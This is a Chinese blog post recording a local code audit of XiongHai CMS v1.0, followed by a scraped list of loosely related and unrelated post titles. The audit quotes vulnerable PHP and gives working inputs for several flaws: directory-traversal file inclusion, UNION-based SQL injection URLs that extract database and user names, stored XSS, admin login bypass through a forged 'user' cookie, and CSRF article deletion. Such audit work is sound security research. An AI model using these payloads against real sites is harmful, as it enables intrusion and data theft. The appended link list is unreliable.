有空的时候就进行小型CMS的代码审计,这次审计的对象是熊海CMS v1.0

本地环境安装好了之后,可以看到提示安装了锁文件

说明重装漏洞应该不会存在了,这时候丢进seay代码审计系统的代码也出结果了,挨个看看

//单一入口模式

error_reporting(0); //关闭错误显示

$file=addslashes($_GET[‘r‘]); //接收文件名

$action=$file==‘‘?‘index‘:$file; //判断为空或者等于index

include(‘files/‘.$action.‘.php‘); //载入相应文件

?>

第一个疑似文件包含漏洞,对GET方式传进的参数r进行了参数过滤,但是存在目录穿越,黑盒尝试了一下使用点 反斜杠截断,无果,存在漏洞,但是只能包含本地php文件

创建一个phppinfo.php文件

本来是包含files文件夹下的php文件,通过目录穿越我们尝试包含phpinfo.php

http://127.0.0.1/xhcms_v1.0/?r=../../phpinfo

成功包含

第二个疑似文件包含漏洞也是同样的利用方式,代码都是类似的:

//单一入口模式

error_reporting(0); //关闭错误显示

$file=addslashes($_GET[‘r‘]); //接收文件名

$action=$file==‘‘?‘index‘:$file; //判断为空或者等于index

include(‘files/‘.$action.‘.php‘); //载入相应文件

?>

再看一下疑似存在SQL注入的地方

$save=$_POST[‘save‘];

$ad1=addslashes($_POST[‘ad1‘]);

$ad2=addslashes($_POST[‘ad2‘]);

$ad3=addslashes($_POST[‘ad3‘]);

if ($save==1){

$query = "UPDATE adword SET

ad1=‘$ad1‘,

ad2=‘$ad2‘,

ad3=‘$ad3‘,

date=now()";

这里可以看到对于POST方式输入的参数使用了addslashes函数进行过滤,所以这里的注入是一个误报,看下一处疑似注入:

在editcolumn.php文件中,存在如下代码:

$id=$_GET[‘id‘];

$type=$_GET[‘type‘];

if ($type==1){

$query = "SELECT * FROM nav WHERE id=‘$id‘";

可以看到对于GET方式输入的id没有进行过滤,应该是开发者的遗漏,我们到本地网站上进行测试

http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1

输入单引号之后页面报错

http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27

我们知道后端的php代码,就直接使用union select 进行注入

http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20order%20by%2010--+

http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10--+

字段数为10,回显位置有2,6,3,4,8

http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20and%201=2%20union%20select%201,database(),3,4,5,user(),7,8,9,10--+

使用payload查询database()和user()

成功获取到了数据。

测试了一下后台的头像文件上传,上传正常的图片好像都不行

一直都是这个头像,尝试寻找XSS,CSRF和越权漏洞

if (isset($_GET["callback"])) {

if (preg_match("/^[\w_]+$/", $_GET["callback"])) {

echo htmlspecialchars($_GET["callback"]) . ‘(‘ . $result . ‘)‘;

} else {

echo json_encode(array(

‘state‘=> ‘callback参数不合法‘

));

}

} else {

echo $result;

}

这里使用了htmlspecialchars函数进行过滤,$callback参数不存在XSS漏洞,而result变量在前面是固定的几个选项,不能构造XSS

到联系的留言列表里面去,可以看到用户可以在这里留言,应该是我搭建的问题,导致用户不能提交留言,但是有一个管理员回复,我们到后台界面留言回复,进行XSS攻击。

使用payload:

再到网站联系界面,可以看到成功弹窗

同时我们审查元素,可以看到XSS的payload在页面的元素中,对管理员回复留言并没有进行限制,导致XSS漏洞的产生

关于越权漏洞,因为只有admin一个用户,我们尝试可不可以不输入密码进入后台

在后台主页进行抓包:

可以看到Cookie里面有user=admin,很容易联想到会不会是user所对应的名字就是它对应的权限,测试之后发现不是,因为就一个用户,但是测试发现只要存在user,就能够进入后台,如我们先将cookie删除:

可以看到会将我们重定向至login界面

将cookie中的user改为一个并不存在的用户SpringBird,可以看到后台登录成功。

寻找CSRF漏洞,CSRF全程为跨站请求伪造,即可以劫持其他用户去进行一些请求。我们尝试劫持管理员的权限去删除文章

点击删除文章之后抓包

使用burpsuite自带的CSRF POC生成

在本地创建CSRF.html,访问之

可以看到出现了按钮,抓包的时候我们可以看到没有token验证,证明很有可能存在CSRF漏洞,这个时候浏览器还保存着管理员的身份信息,所以点击Submit就能够删除对应的文章

成功进行CSRF攻击。

继续努力吧。

参考链接:

原文:https://www.cnblogs.com/Cl0ud/p/12824593.html

熊海博客php版本,熊海CMS xhcms v1.0代码审计相关推荐

  1. 熊海博客php版本,xhcms_v1.0 熊海CMS是由熊海开发的一款可广泛应用于个人博客 联合开发网 - pudn.com...

    xhcms_v1.0 所属分类:WEB开发 开发工具:Java 文件大小:4002KB 下载次数:3 上传日期:2015-05-14 14:41:13 上 传 者:dou 说明:  熊海CMS是由熊海 ...

  2. debug idea js_IntelliJ IDEA 配置chrome插件调试js代码 - 狂奔的熊二 - 博客园

    调试js代码,每次都在要在代码中写debugger,或者在chrome中打断点,而且chrome的断点信息不人性化.偶然发现idea竟然有这个功能,简直神器啊.研究了半天终于搞定了,哈哈,开心.下面是 ...

  3. 展示博客---Alpha版本展示

    Alpha版本展示 1. 团队成员的简介和个人博客地址,团队的源码仓库地址. 成员 简介 个人博客地址 祁泽文 被动态统计图搞扒下的我 http://www.cnblogs.com/jiaowoxia ...

  4. 使用海蜘蛛HSpider模拟防火墙搭建网络案例说明v1.0

    附件:http://down.51cto.com/data/2359752 本文转自 godoha 51CTO博客,原文链接:http://blog.51cto.com/godoha/773225 , ...

  5. 博主推荐【文件Hash校验工具V1.0 -免费版】

    文件Hash校验工具有什么用途? ​Hash校验工具可以用来计算文件的MD5.SHA1.SHA256.CRC32值.简单来说,MD5值就是文件的身份ID,并且具有唯一性.通过比对MD5值,用户能够检查 ...

  6. 调通sina33m下的ap6181版本(分色排版)V1.0

    调通sina33m下的ap6181版本 大文实验室/大文哥 壹捌陆捌零陆捌捌陆捌贰 wb4916 AT qq.com 完成时间:2017/7/7 18:11 版本:V1.0 SDK:Android6. ...

  7. 解决:“该 CPU 或当前的库版本不支持数据类型“TON“ V1.0。”问题 (西门子博图V16)

    打开之前的程序,却发现定时器出现了问题,无法使用了. 解决方法:              如若发现更新后并没有完全恢复,而是变成了这样

  8. java版本微信机器人使用教程V1.0

    大家好,我是雄雄,欢迎关注微信公众号雄雄的小课堂 现在是:2023年5月10日17:57:02 免费的云桌面,每个人都能领三个月,用来跑机器人还是很不错的,领取连接 前言 历经好多天,java版本的微 ...

  9. CSDN专家分和博客系统积分获得规则!(转官方)

    博客积分规则 博客积分是CSDN对用户努力的认可和奖励,也是衡量博客水平的重要标准.博客等级也将由博客积分唯一决定.积分规则具体如下: 1.每发布一篇原创或者翻译文章:可获得10分: 2.每发布一篇转 ...

最新文章

  1. 【11分钟训练完ImageNet】DNN训练再破纪录,1024 CPU Caffe开源
  2. KVM中I/O设备直接分配和SR-IOV(十六)
  3. 腾讯云安装samba服务器无法连接问题
  4. Java编程的逻辑 (36) - 泛型 (中) - 解析通配符
  5. 爬虫总结(一)-- 爬虫基础 python实现
  6. SAP UI5 Nav container - how the inner control is added
  7. java厨房_JAVA环境搭建,厨房安装图文教程!
  8. o oia ospf 路由优先_乾颐堂军哥HCIE课程4-OSPF的3、4、5类LSA以及虚连接和转发地址的理论与实践...
  9. 微信小程序中识别html标签的方法
  10. ObjectiveC 深浅拷贝
  11. Oracle内账号密码过期the password has expired
  12. java文字水印excel_Aspose for java 给word,excel,ppt增加文字水印
  13. 程序化交易逆境中的奋斗史!
  14. iOS 防止截屏、录屏技术
  15. 《赐我》-一只白羊 同步歌词
  16. 颜色选择器---Kodu少儿编程第九天
  17. webdriver和火狐浏览器历史版本下载
  18. 模拟系统判断是否是你生日java
  19. html艺术字在线制作,HTML网页设计中的字体设计
  20. 洗衣机程序c语言代码大全,采用C语言编辑基于51单片机的全自动洗衣机控制系统毕业论文资料.doc...

热门文章

  1. UVA10191 Longest Nap【排序】
  2. Bailian2745 显示器【打印图案】
  3. CCF201403-1 相反数(解法二)(100分)(废除!!!)
  4. linux/unix 基本概念的认识(sha-bang 、PPA)
  5. 二次型(求梯度) —— 公式的简化
  6. vs 外部依赖项、附加依赖项以及如何添加依赖项目
  7. 使用 matlab 数字图像处理(二)—— 直方图均衡化(极简实现)
  8. main方法 如何去掉http debug日志_Spring Boot 常见错误及解决方法
  9. 苹果x来电闪光灯怎么设置_苹果6splus来电没有声音,苹果6sp听筒没有声音怎么回事...
  10. 开课吧python小课学了有用吗-好消息!今天,审计、会计、税务、财务主管彻底沸腾了……...